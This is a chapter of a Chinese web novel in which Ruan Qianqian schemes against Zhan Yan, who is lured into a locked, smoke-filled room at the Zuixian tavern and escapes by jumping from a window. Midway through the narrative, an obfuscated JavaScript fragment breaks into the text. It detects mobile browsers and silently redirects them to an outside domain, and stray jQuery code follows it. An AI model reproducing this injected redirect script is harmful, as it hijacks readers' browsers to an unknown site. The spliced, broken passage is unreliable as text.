夜色沉沉,过了宵禁街道上空无一人。


    长长的路上,只有几盏巷口的灯笼被夜风吹得摇摇晃晃,将两人的影子拉得忽长忽短。


    阮芊芊拢了拢披风,暗色的裙摆扫过墙角的青砖,声音里带着刻意放软的娇柔:“周哥哥,你当真愿意帮我?”


    白周站在她面前,手里还攥着刚从家里偷溜出来时带的食盒。


    他听见这声 “周哥哥”,耳根不由自主地红了,从食盒里拿出用油纸包好的糕点:“芊芊放心,展颜那丫头……”


    “嘘。” 阮芊芊突然伸手按住他的唇,冰凉的指尖擦过他的皮肤,旁边的街道一队巡逻的士兵走过,等到队伍举着的烛火消失在了远处,她才继续道,“这里人多眼杂,周哥哥我们长话短说。”


    她抬眼时,眼神忽闪着,语气却冷了几分:“白家势大,虽然敌不过整个展家,但对付一个展颜,难道还要犹豫?”


    白周捉住她缩回的手,掌心的温度烫得阮芊芊想抽回,却被他攥得更紧:“不是犹豫,是得计划周全。”


    他从怀里掏出张纸,借着微弱的月光能看清上面写着几行:“我已经让人去查她在如意茶馆的账目,总有……”


    “账目?” 阮芊芊强忍住被他攥着手的不适,嗤笑一声,抽回手理了理鬓边的珠花,“展颜早就已经不经手如意茶馆了,就算账目真的有问题,等你查到,最多只是女子不擅行商,这对展颜有什么威胁?”


    她往前凑了半步:“周哥哥,你若是真心对我,就该知道我要的是什么。”


    白周的喉结动了动。


    “再给我半月时间,我保证……”


    “半月?”


    阮芊芊突然笑了,伸手抚上他的脸颊,指尖轻轻描摹着他的轮廓:“周哥哥,还要再快些,我等不起。展颜如今靠着祁浮生,屡做好事,聪慧的名声都要传遍整个燕京了,之前的坏名声都要消失不见了,再拖下去,恐怕……”


    阮芊芊装模作样地拧起眉头,作难过状。


    白周的心猛地一紧,抓住她的手腕:“芊芊莫怕,我这就去安排。” 他看着她眼底映出的自己,只觉得哪怕是为她摘星揽月,也心甘情愿。


    阮芊芊看着他急切的模样,嘴角勾起一抹不易察觉的冷笑,却还是顺势靠在他怀里,声音委屈得像要哭出来:“周哥哥,我就知道你对我最好。”


    她的指尖在他背上轻轻画着圈:“等事成之后,我……”


    “不必说什么。” 白周打断她,声音里满是温柔,“只要能让你开心,我做什么都愿意。”


    巷口的灯笼突然晃了晃,远处的巡逻队伍又绕了回来,阮芊芊迅速从他怀里退出来,理了理凌乱的衣襟:“时辰不早了,我该回去了。”


    她转身时,软声道:“周哥哥,可别忘了你说的话。”


    白周看着她消失在巷尾的背影,转身时脚步轻快,满心都是方才阮芊芊靠在他怀里的模样。


    街角的阴影里,阮芊芊看着他远去的背影,脸上的柔情瞬间褪去,对着身后的丫鬟冷声道:“废物一个,大半夜地唤我出来还以为是已经得手了。”她抬手将白周送的糕点扔在地上,裙摆碾过那些碎裂的糕点。


    “若是被人发现,我的面子往哪搁,真是个蠢货!”


    ***


    自金顶阁宴会那日之后,祁浮生几乎每日都要来登门拜访展府。


    这回不是翻墙,是光明正大走正门。


    有时是直言寻展颜,但更多的时候是以帮忙筹备大哥和展清梦的婚事来的展府。


    展颜甚至怀疑过是不是原书的祁浮生又魂穿回来了,但最后经过统统的证实,确认了不是。


    每次想到祁浮生为了她在府上忙前忙后的样子,展颜都忍不住展露笑意,就是觉得心里有个地方甜滋滋的。


    这日,展颜正啃着祁浮生派安福送来的糖葫芦,坐在后院里赏着还没有开败的花。


    展清梦踩着青石板走进来。


    她今日穿了件青色的褙子,裙摆绣着几枝疏朗的兰草,见展颜正坐在花架下的石凳上吃糖葫芦,便笑着停住脚步。


    “阿颜。” 展清梦的声音温温柔柔的。


    展颜转过头,嘴角还沾着些糖霜。


    许是因为婚期将近的缘故,展清梦近日的面色是越来越红润,气色好了不少。


    两人皆在石凳上坐下,秋果很快端来两碟精致的茶点。展清梦轻轻拨了拨茶沫,目光落在展颜手里吃了一半的糖葫芦上,慢悠悠地开口:“这是祁二公子送的?”


    展颜舔舔糖葫芦默认。


    “后日街上该热闹了,你知道吗?祁家二公子要加冠了。”


    展颜捏着糖葫芦的手顿了顿,嘴里的甜味突然变得有些含糊:“加冠?那不是要……”


    “要骑马游街呢。” 展清梦接话时眼尾带着笑意,“按规矩,加冠的士族男子总得让京城里的人瞧瞧。若是有姑娘瞧着合心意,便把手里的花扔过去,也算结个缘分。”


    骑马游街……展颜想着。


    原书里祁浮生也有骑马游街,只不过那日展清梦没有来,他便全程板着脸,谁也不看,本要绕城两个时辰的路,他愣是一口气半个时辰不到就骑完了。


    难怪这几日他都没有见她,只是托人给她送点心,原来是在准备游街。


    展清梦见展颜低头盯着茶盏里的茶叶打转,便伸手轻轻碰了碰她的手背:“后日一同去看看?我听说祁二公子特意挑了匹纯白的良驹,配上他那身骑装,定是极好的景致。”


    展颜的指尖微微发烫,想起前几日在金顶阁祁浮生那双微微泛红的眼,还有他攥着自己指尖时又急又涩的语气,心跳莫名快了半拍。


    “姐姐想去便去,我……”她又一次下意识地逃避,想说自己还有事,却被展清梦打断。


    “你呀。” 展清梦无奈地摇摇头,指尖点了点她的额头,“整日闷在院子里看花,也该出去透透气。再说了,祁二公子待你不同,如今京城里谁没瞧出来?便是去凑个热闹,看看他游街的模样,又有什么打紧?”


    “那…… 便去瞧瞧吧。”


    展清梦看着妹妹眼底藏不住心思,端起茶盏抿了一口,眸底的笑意更深了。


    ***


    风卷着漫天飞絮,把整条街都染成了朦胧的白。


    展颜坐在梳妆台前,看着铜镜里一身海棠红的自己,耳后的发髻上是祁浮生送的那一支锦鲤簪,随着她的动作轻轻晃悠,映得脸颊愈发莹润。


    “姑娘今天可真好看!” 秋果替她理着裙摆,雀跃地说,“祁公子见了定要看呆的。”


    “又胡说了。”展颜笑道,指尖却忍不住摩挲着那支细簪,藏着点说不清道不明的心思。


    展清梦昨日就跟展颜约好了观看游街的地点,在城东巷口的那家楼台上,今日一早她就早早的先去了。


    时辰快到了,展颜提着裙摆出了展府。


    两人刚拐过街角,就见个穿着展府下人青布裙的丫鬟跑得气喘吁吁,见到展颜便低着头急忙道:“二姑娘!大姑娘说临时换了地方,让您去东街的醉仙楼三楼!”


    “换地方了?” 展颜皱眉,却见那丫鬟哭得满脸是泪,声音颤巍巍的:“是呢!刚才来了位贵人,把原定的阁楼占了,大姑娘让您快去,说祁公子的马队眼看就要到了!”


    “好好好我去就是了,你别哭呀,这也不是什么大事,不就是换个地方吗。”展颜反而安慰起了那个丫鬟。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103893|169825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >秋果在一旁急道:“姑娘那快走吧,别误了时辰!”


    两人跟着丫鬟穿过热闹的街巷,醉仙楼的幌子在风中摇得厉害。


    快到门口时,突然有个小厮撞了秋果一下,手里的食盒摔在地上,滚出几个沾着泥的包子。


    “你怎么走路的!” 小厮嚷嚷着拉住秋果,“赔我的包子!”


    “明明是你撞上我的!”秋果气得跳脚,那小厮也是不依不饶,秋果只能回头对展颜道:“姑娘您先上去,我马上就来!”


    展颜点点头,这点小事秋果还是能处理的,她跟着丫鬟进了醉仙楼。


    “姑娘就是这一间屋子。”丫鬟低着头道。


    “多谢。”展颜道谢完,没多想就迈步进了屋子。


    三楼的房间静悄悄的,展颜转悠了好一会儿也没见屋子里有人。


    阿姐去哪儿了?难不成是还未赶过来?


    又等了一会儿,还是没人进来,秋果也没回来,怕是事情还没处理好,展颜想先下楼找秋果。


    她走到门前轻轻一拉门,却发现门纹丝未动。心里不免有些疑惑,展颜又加大力气拉了几下,还是打不开。


    听到这边拉门的声响,展颜突然听见另一扇门外传来门闩落锁的声响。


    她心头猛地一跳,不好。


    “你是谁!” 展颜厉声喝道,捅破了窗户纸往外头看去,却见那丫鬟早已没了踪影,靠门的窗缝里开始渗进淡紫色的烟雾,一股甜腻的气息扑面而来。


    “不好!” 她屏住呼吸扑到靠外的窗边,手指刚碰到窗闩,膝盖就撞在窗沿上,疼得她眼冒金星。


    烟雾越来越浓,展颜憋着气,咬牙使劲一推,老旧的木窗 “吱呀” 一声开了,冷风卷着飞絮灌进来,呛得她连连咳嗽。


    她向外看去,是一条小巷,没有什么人经过,窗户下面刚好停靠着一辆堆满干草的板车。


    今天怎么死都行,就是不能栽在这间屋子里。


    一定是有人做的手脚。


    先是派人说换了位子,又支走了秋果。


    只可惜他们千算万算,没算到她可不是只会善罢甘休的女子。


    三楼的高度虽有点高,估摸着有个六米。


    展颜顾不上膝盖上的疼痛,花了一秒做好心理建设,抓住窗沿翻身跳下。


    落在干草堆上,虽有缓冲,但是膝盖还是被蹭破了,血珠顺着布料渗出来,好在穿的是海棠红的衣裳,血迹在裙角晕开,不仔细看发现不了。


    ***


    此时的长街早已人山人海。


    展清梦站在原定城东的阁楼露台上,望着楼下缓缓行来的马队,指尖攥得发白。


    “阿颜人呢?”展清梦问着下人。


    祁浮生骑在马上,红色的骑装衬得身姿愈发挺拔,腰间玉带镶着翡翠,随着马匹的步伐轻轻晃动。


    他的目光扫过沿街的阁楼,在看到展清梦时微微颔首,却在没见到展颜的身影时,闪过一丝不易察觉的焦急。


    “听说祁二公子对展二姑娘青眼有加呢!”


    “祁大公子和展大姑娘已经定亲,这要是两家再来一对,也是一件佳偶佳事呀!”


    “诶?今日怎不见展二姑娘?”


    一时间,街上满是称赞。


    ……


    “那又如何?” 旁边突然有人嗤笑,“展二姑娘性子野得很,哪配得上祁公子?”


    “就是!你们这些人都忘了以前展二姑娘有多嚣张跋扈了……”又一男子道。


    污言秽语像毒箭般射向露台,展清梦气得发抖,正要呵斥,却见远处一个丫鬟跌跌撞撞从街口跑过来,跪在地上哭嚎道。


    “不好了!展二姑娘在醉仙楼被人非礼了!”